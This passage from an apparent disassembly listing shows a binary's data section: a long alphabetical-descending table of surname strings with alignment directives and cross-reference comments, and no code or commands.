'Whitla',0 ; DATA XREF: ___:0042E76Co align 4 aWhite db 'White',0 ; DATA XREF: ___:0042E768o align 4 aWhilton db 'Whilton',0 ; DATA XREF: ___:0042E764o aWhately db 'Whately',0 ; DATA XREF: ___:0042E760o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042E75Co align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042E758o aVerghese db 'Verghese',0 ; DATA XREF: ___:0042E754o align 4 aVenne db 'Venne',0 ; DATA XREF: ___:0042E750o align 10h aWengret db 'Wengret',0 ; DATA XREF: ___:0042E74Co aWelsh db 'Welsh',0 ; DATA XREF: ___:0042E748o align 10h aWelles db 'Welles',0 ; DATA XREF: ___:0042E744o align 4 aVelasquez db 'Velasquez',0 align 4 aWeissman db 'Weissman',0 align 10h aWeissbourd db 'Weissbourd',0 align 4 aWeinhaus db 'Weinhaus',0 align 4 aWeingarten db 'Weingarten',0 align 4 aWeighart db 'Weighart',0 align 10h aWaugh db 'Waugh',0 align 4 aVasquez db 'Vasquez',0 aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042E720o align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042E71Co align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042E718o align 4 aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042E714o align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042E710o aVanallen db 'vanAllen',0 align 4 aWalter db 'Walter',0 align 10h aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042E704o align 4 aWales db 'Wales',0 ; DATA XREF: ___:0042E700o align 4 aValencia db 'Valencia',0 ; DATA XREF: ___:0042E6FCo align 10h aValberg db 'Valberg',0 aWaite db 'Waite',0 ; DATA XREF: ___:0042E6F4o align 10h aVacca db 'Vacca',0 align 4 aUzuner db 'Uzuner',0 align 10h aUsdan db 'Usdan',0 align 4 aUrdangBrown db 'Urdang-Brown',0 align 4 aUrban db 'Urban',0 align 10h aUpsdell db 'Upsdell',0 aUntermeyer db 'Untermeyer',0 align 4 aUllman db 'Ullman',0 align 4 aTzamarias db 'Tzamarias',0 align 4 aTwells db 'Twells',0 align 10h aTuttle db 'Tuttle',0 align 4 aTurek db 'Turek',0 align 10h aTurano db 'Turano',0 align 4 aTukan db 'Tukan',0 align 10h aTudge db 'Tudge',0 ; DATA XREF: ___:0042E6B8o align 4 aTuck db 'Tuck',0 align 10h aTsukurov db 'Tsukurov',0 align 4 aTsomides db 'Tsomides',0 align 4 aTsiatis db 'Tsiatis',0 aTruss db 'Truss',0 align 4 aTroy db 'Troy',0 align 10h aTroiani db 'Troiani',0 aTringali db 'Tringali',0 align 4 aTrewin db 'Trewin',0 ; DATA XREF: ___:0042E694o align 4 aTrenga db 'Trenga',0 ; DATA XREF: ___:0042E690o align 4 aTraebert db 'Traebert',0 ; DATA XREF: ___:0042E68Co align 10h aToye db 'Toye',0 ; DATA XREF: ___:0042E688o align 4 aTowler db 'Towler',0 ; DATA XREF: ___:0042E684o align 10h aTorske db 'Torske',0 ; DATA XREF: ___:0042E680o align 4 aTorresi db 'Torresi',0 ; DATA XREF: ___:0042E67Co aTopulos db 'Topulos',0 ; DATA XREF: ___:0042E678o aToomer db 'Toomer',0 ; DATA XREF: ___:0042E674o align 10h aTomford db 'Tomford',0 ; DATA XREF: ___:0042E670o aTolman db 'Tolman',0 ; DATA XREF: ___:0042E66Co align 10h aTolls db 'Tolls',0 ; DATA XREF: ___:0042E668o align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042E664o align 4 aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042E660o align 10h aTimmons db 'Timmons',0 ; DATA XREF: ___:0042E65Co aTill db 'Till',0 ; DATA XREF: ___:0042E658o align 10h aTierney db 'Tierney',0 ; DATA XREF: ___:0042E654o aThroop db 'Throop',0 ; DATA XREF: ___:0042E650o align 10h aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042E64Co aThisted db 'Thisted',0 ; DATA XREF: ___:0042E648o aThibault db 'Thibault',0 ; DATA XREF: ___:0042E644o align 4 aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E640o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E63Co align 4 aThan db 'Than',0 ; DATA XREF: ___:0042E638o align 4 aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E634o align 4 aTenney db 'Tenney',0 ; DATA XREF: ___:0042E630o align 10h aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E62Co align 4 aTemes db 'Temes',0 ; DATA XREF: ___:0042E628o align 10h aTeague db 'Teague',0 ; DATA XREF: ___:0042E624o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E620o align 4 aTawn db 'Tawn',0 ; DATA XREF: ___:0042E61Co align 4 aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E618o aTatar db 'Tatar',0 ; DATA XREF: ___:0042E614o align 4 aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E610o align 4 aTandler db 'Tandler',0 ; DATA XREF: ___:0042E60Co aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E608o aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E604o align 4 aTai db 'Tai',0 ; DATA XREF: ___:0042E600o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E5FCo aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E5F8o aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E5F4o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E5F0o align 10h aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E5ECo align 4 aSuo db 'Suo',0 ; DATA XREF: ___:0042E5E8o aSumner db 'Sumner',0 ; DATA XREF: ___:0042E5E4o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E5E0o align 10h aStringer db 'Stringer',0 ; DATA XREF: ___:0042E5DCo align 4 aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E5D8o aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E5D4o aStrange db 'Strange',0 ; DATA XREF: ___:0042E5D0o aStott db 'Stott',0 ; DATA XREF: ___:0042E5CCo align 4 aStorer db 'Storer',0 ; DATA XREF: ___:0042E5C8o align 4 aStonich db 'Stonich',0 ; DATA XREF: ___:0042E5C4o aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E5C0o aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E5BCo align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0042E5B8o align 10h aStock db 'Stock',0 ; DATA XREF: ___:0042E5B4o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E5B0o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E5ACo align 10h aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E5A8o align 10h aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E5A4o aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E5A0o align 4 aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E59Co aStefani db 'Stefani',0 ; DATA XREF: ___:0042E598o aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E594o align 4 aStates db 'States',0 ; DATA XREF: ___:0042E590o align 4 aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E58Co align 4 aStang db 'Stang',0 ; DATA XREF: ___:0042E588o align 4 aStam db 'Stam',0 ; DATA XREF: ___:0042E584o align 4 aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E580o aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E57Co align 10h aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E578o aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E574o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E570o align 4 aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E56Co align 4 aSperber db 'Sperber',0 ; DATA XREF: ___:0042E568o aSpence db 'Spence',0 ; DATA XREF: ___:0042E564o align 4 aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E560o aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E55Co align 10h aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E558o aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E554o aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E550o align 4 aSoule db 'Soule',0 ; DATA XREF: ___:0042E54Co align 4 aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E548o align 4 aSottak db 'Sottak',0 ; DATA XREF: ___:0042E544o align 4 aSorg db 'Sorg',0 ; DATA XREF: ___:0042E540o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E53Co align 4 aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E538o align 4 aSomers db 'Somers',0 ; DATA XREF: ___:0042E534o align 4 aSolon db 'Solon',0 ; DATA XREF: ___:0042E530o align 4 aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E52Co aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E528o align 4 aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E524o aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E520o align 4 aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E51Co align 10h aSloan db 'Sloan',0 ; DATA XREF: ___:0042E518o align 4 aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E514o align 10h aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E510o align 4 aSkane db 'Skane',0 ; DATA XREF: ___:0042E50Co align 10h aSites db 'Sites',0 ; DATA XREF: ___:0042E508o align 4 aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E504o aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E500o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E4FCo align 4 aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E4F8o align 4 aSigna db 'Signa',0 ; DATA XREF: ___:0042E4F4o align 4 aSigini db 'Sigini',0 ; DATA XREF: ___:0042E4F0o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E4ECo aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E4E8o align 4 aShimon db 'Shimon',0 ; DATA XREF: ___:0042E4E4o align 4 aShibata db 'Shibata',0 ; DATA XREF: ___:0042E4E0o aShia db 'Shia',0 ; DATA XREF: ___:0042E4DCo align 4 aShesko db 'Shesko',0 ; DATA XREF: ___:0042E4D8o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E4D4o align 10h aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E4D0o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E4CCo align 4 aSheats db 'Sheats',0 ; DATA XREF: ___:0042E4C8o align 10h aShea db 'Shea',0 ; DATA XREF: ___:0042E4C4o align 4 aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E4C0o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E4BCo aShar db 'Shar',0 ; DATA XREF: ___:0042E4B8o align 4 aShanley db 'Shanley',0 ; DATA XREF: ___:0042E4B4o aShankland db 'Shankland',0 ; DATA XREF: ___:0042E4B0o align 4 aShakis db 'Shakis',0 ; DATA XREF: ___:0042E4ACo align 10h aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E4A8o align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E4A4o aSexton db 'Sexton',0 ; DATA XREF: ___:0042E4A0o align 4 aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E49Co align 4 aSennett db 'Sennett',0 ; DATA XREF: ___:0042E498o aSen db 'Sen',0 ; DATA XREF: ___:0042E494o aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E490o aSekler db 'Sekler',0 ; DATA XREF: ___:0042E48Co align 10h aSegal db 'Segal',0 ; DATA XREF: ___:0042E488o align 4 aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E484o align 10h aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E480o align 4 aScudder db 'Scudder',0 ; DATA XREF: ___:0042E47Co aScovel db 'Scovel',0 ; DATA XREF: ___:0042E478o align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E474o aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E470o align 4 aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E46Co align 4 aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E468o aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E464o aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E460o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E45Co aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E458o align 4 aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E454o align 4 aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E450o aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E44Co align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E448o aScharf db 'Scharf',0 ; DATA XREF: ___:0042E444o align 10h aScepan db 'Scepan',0 ; DATA XREF: ___:0042E440o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E43Co align 4 aSayied db 'Sayied',0 ; DATA XREF: ___:0042E438o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E434o aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E430o align 4 aSatta db 'Satta',0 ; DATA XREF: ___:0042E42Co align 4 aSatin db 'Satin',0 ; DATA XREF: ___:0042E428o align 4 aSase db 'Sase',0 ; DATA XREF: ___:0042E424o align 4 aSartore db 'Sartore',0 ; DATA XREF: ___:0042E420o aSarin db 'Sarin',0 ; DATA XREF: ___:0042E41Co align 4 aSapers db 'Sapers',0 ; DATA XREF: ___:0042E418o align 4 aSanna db 'Sanna',0 ; DATA XREF: ___:0042E414o align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E410o aSamson db 'Samson',0 ; DATA XREF: ___:0042E40Co align 4 aSali db 'Sali',0 ; DATA XREF: ___:0042E408o align 4 aSahu db 'Sahu',0 ; DATA XREF: ___:0042E404o align 4 aSafire db 'Safire',0 ; DATA XREF: ___:0042E400o align 4 aSadler db 'Sadler',0 ; DATA XREF: ___:0042E3FCo align 4 aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E3F8o align 10h aRyu db 'Ryu',0 ; DATA XREF: ___:0042E3F4o aRush db 'Rush',0 ; DATA XREF: ___:0042E3F0o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E3ECo align 4 aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E3E8o align 4 aRuan db 'Ruan',0 ; DATA XREF: ___:0042E3E4o align 4 aRu db 'Ru',0 ; DATA XREF: ___:0042E3E0o align 10h aRoyal db 'Royal',0 ; DATA XREF: ___:0042E3DCo align 4 aRow db 'Row',0 ; DATA XREF: ___:0042E3D8o aRonen db 'Ronen',0 ; DATA XREF: ___:0042E3D4o align 4 aRogers db 'Rogers',0 ; DATA XREF: ___:0042E3D0o align 4 aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E3CCo aRocha db 'Rocha',0 ; DATA XREF: ___:0042E3C8o align 4 aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E3C4o align 4 aRivera db 'Rivera',0 ; DATA XREF: ___:0042E3C0o align 10h aRish db 'Rish',0 ; DATA XREF: ___:0042E3BCo align 4 aRineer db 'Rineer',0 ; DATA XREF: ___:0042E3B8o align 10h aRindos db 'Rindos',0 ; DATA XREF: ___:0042E3B4o align 4 aRielly db 'Rielly',0 ; DATA XREF: ___:0042E3B0o align 10h aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E3ACo align 4 aRhea db 'Rhea',0 ; DATA XREF: ___:0042E3A8o align 4 aResnik db 'Resnik',0 ; DATA XREF: ___:0042E3A4o align 4 aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E3A0o aRenick db 'Renick',0 ; DATA XREF: ___:0042E39Co align 4 aRemak db 'Remak',0 ; DATA XREF: ___:0042E398o align 4 aReinold db 'Reinold',0 ; DATA XREF: ___:0042E394o aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E390o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E38Co align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E388o align 4 aRayport db 'Rayport',0 ; DATA XREF: ___:0042E384o aRapple db 'Rapple',0 ; DATA XREF: ___:0042E380o align 4 aRankin db 'Rankin',0 ; DATA XREF: ___:0042E37Co align 4 aRangan db 'Rangan',0 ; DATA XREF: ___:0042E378o align 4 aRaney db 'Raney',0 ; DATA XREF: ___:0042E374o align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E370o aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E36Co align 10h aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E368o align 4 aRabe db 'Rabe',0 ; DATA XREF: ___:0042E364o align 10h aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E360o align 4 aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E35Co align 10h aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E358o aPugh db 'Pugh',0 ; DATA XREF: ___:0042E354o align 10h aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E350o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E34Co align 4 aProietti db 'Proietti',0 ; DATA XREF: ___:0042E348o align 4 aPritz db 'Pritz',0 ; DATA XREF: ___:0042E344o align 4 aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E340o align 4 aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E33Co aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E338o aPresper db 'Presper',0 ; DATA XREF: ___:0042E334o aPowers db 'Powers',0 ; DATA XREF: ___:0042E330o align 4 aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E32Co aPoma db 'Poma',0 ; DATA XREF: ___:0042E328o align 4 aPolitis db 'Politis',0 ; DATA XREF: ___:0042E324o aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E320o aPolak db 'Polak',0 ; DATA XREF: ___:0042E31Co align 10h aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E318o aPointer db 'Pointer',0 ; DATA XREF: ___:0042E314o aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E310o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E30Co align 4 aPo db 'Po',0 ; DATA XREF: ___:0042E308o align 4 aPlous db 'Plous',0 ; DATA XREF: ___:0042E304o align 4 aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E300o aPlant db 'Plant',0 ; DATA XREF: ___:0042E2FCo align 4 aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E2F8o aPinot db 'Pinot',0 ; DATA XREF: ___:0042E2F4o align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E2F0o aPfister db 'Pfister',0 ; DATA XREF: ___:0042E2ECo aPettit db 'Pettit',0 ; DATA XREF: ___:0042E2E8o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E2E4o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E2E0o align 4 aPeters db 'Peters',0 ; DATA XREF: ___:0042E2DCo align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E2D8o align 4 aPerone db 'Perone',0 ; DATA XREF: ___:0042E2D4o align 10h aPerna db 'Perna',0 ; DATA XREF: ___:0042E2D0o align 4 aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E2CCo aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E2C8o align 4 aPerko db 'Perko',0 ; DATA XREF: ___:0042E2C4o align 10h aPereira db 'Pereira',0 ; DATA XREF: ___:0042E2C0o aPenny db 'Penny',0 ; DATA XREF: ___:0042E2BCo align 10h aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E2B8o aPederson db 'Pederson',0 ; DATA XREF: ___:0042E2B4o align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E2B0o align 10h aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E2ACo aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E2A8o aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E2A4o align 4 aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E2A0o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E29Co aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E298o align 4 aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E294o aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E290o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E28Co align 4 aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E288o align 4 aParris db 'Parris',0 ; DATA XREF: ___:0042E284o align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E280o aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E27Co align 4 aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E278o align 10h aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E274o align 4 aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E270o align 4 aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E26Co align 4 aPallara db 'Pallara',0 ; DATA XREF: ___:0042E268o aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E264o align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E260o align 10h aPaine db 'Paine',0 ; DATA XREF: ___:0042E25Co align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E258o align 4 aOvid db 'Ovid',0 ; DATA XREF: ___:0042E254o align 10h aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E250o aOtten db 'Otten',0 ; DATA XREF: ___:0042E24Co align 10h aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E248o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E244o align 4 aOspina db 'Ospina',0 ; DATA XREF: ___:0042E240o align 10h aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E23Co align 4 aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E238o aOray db 'Oray',0 ; DATA XREF: ___:0042E234o align 4 aOpel db 'Opel',0 ; DATA XREF: ___:0042E230o align 10h aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E22Co aOman db 'Oman',0 ; DATA XREF: ___:0042E228o align 10h aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E224o align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E220o align 4 aOlson db 'Olson',0 ; DATA XREF: ___:0042E21Co align 10h aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E218o align 4 aOldford db 'Oldford',0 ; DATA XREF: ___:0042E214o aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E210o aOh db 'Oh',0 ; DATA XREF: ___:0042E20Co align 4 aOgata db 'Ogata',0 ; DATA XREF: ___:0042E208o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E204o aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E200o align 4 aNotman db 'Notman',0 ; DATA XREF: ___:0042E1FCo align 4 aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E1F8o align 4 aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E1F4o align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E1F0o align 10h aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E1ECo align 4 aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E1E8o align 10h aNg db 'Ng',0 ; DATA XREF: ___:0042E1E4o align 4 aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E1E0o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E1DCo aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E1D8o align 4 aNesci db 'Nesci',0 ; DATA XREF: ___:0042E1D4o align 4 aNenna db 'Nenna',0 ; DATA XREF: ___:0042E1D0o align 4 aNelson db 'Nelson',0 ; DATA XREF: ___:0042E1CCo align 4 aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E1C8o aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E1C4o aNardone db 'Nardone',0 ; DATA XREF: ___:0042E1C0o aNardi db 'Nardi',0 ; DATA XREF: ___:0042E1BCo align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E1B8o align 10h aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E1B4o align 4 aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E1B0o align 4 aMumford db 'Mumford',0 ; DATA XREF: ___:0042E1ACo aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E1A8o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E1A4o aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E1A0o align 4 aMuello db 'Muello',0 ; DATA XREF: ___:0042E19Co align 4 aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E198o aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E194o aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E190o align 4 aMosler db 'Mosler',0 ; DATA XREF: ___:0042E18Co align 10h aMosher db 'Mosher',0 ; DATA XREF: ___:0042E188o align 4 aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E184o align 4 aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E180o align 4 aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E17Co align 4 aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E178o aMorani db 'Morani',0 ; DATA XREF: ___:0042E174o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E170o align 4 aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E16Co align 10h aMonque db 'Monque',0 ; DATA XREF: ___:0042E168o align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E164o align 4 aMohr db 'Mohr',0 ; DATA XREF: ___:0042E160o align 4 aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E15Co aModestino db 'Modestino',0 ; DATA XREF: ___:0042E158o align 10h aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E154o aMittal db 'Mittal',0 ; DATA XREF: ___:0042E150o align 10h aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E14Co aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E148o align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E144o aMini db 'Mini',0 ; DATA XREF: ___:0042E140o align 4 aMinh db 'Minh',0 ; DATA XREF: ___:0042E13Co align 4 aMills db 'Mills',0 ; DATA XREF: ___:0042E138o align 4 aMieher db 'Mieher',0 ; DATA XREF: ___:0042E134o align 4 aMiddle db 'Middle',0 ; DATA XREF: ___:0042E130o align 4 aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E12Co align 4 aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E128o align 10h aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E124o align 4 aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E120o aMerz db 'Merz',0 ; DATA XREF: ___:0042E11Co align 4 aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E118o aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E114o align 10h aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E110o aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E10Co align 4 aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E108o aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E104o align 4 aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E100o aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E0FCo aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E0F8o aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E0F4o aMclane db 'Mclane',0 ; DATA XREF: ___:0042E0F0o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E0ECo aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E0E8o align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E0E4o aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E0E0o align 4 aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E0DCo align 4 aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E0D8o align 10h aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E0D4o aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E0D0o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E0CCo align 10h aMccall db 'Mccall',0 ; DATA XREF: ___:0042E0C8o align 4 aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E0C4o align 4 aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E0C0o aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E0BCo align 4 aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E0B8o aMay db 'May',0 ; DATA XREF: ___:0042E0B4o aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E0B0o align 4 aMattson db 'Mattson',0 ; DATA XREF: ___:0042E0ACo aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E0A8o align 10h 